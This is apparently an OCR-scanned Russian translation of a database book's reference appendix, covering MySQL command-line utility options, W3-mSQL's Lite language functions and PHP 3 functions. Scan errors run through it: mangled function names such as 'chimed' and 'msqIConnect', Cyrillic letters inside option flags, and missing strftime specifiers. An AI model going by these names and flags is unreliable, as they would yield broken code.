    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)

    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

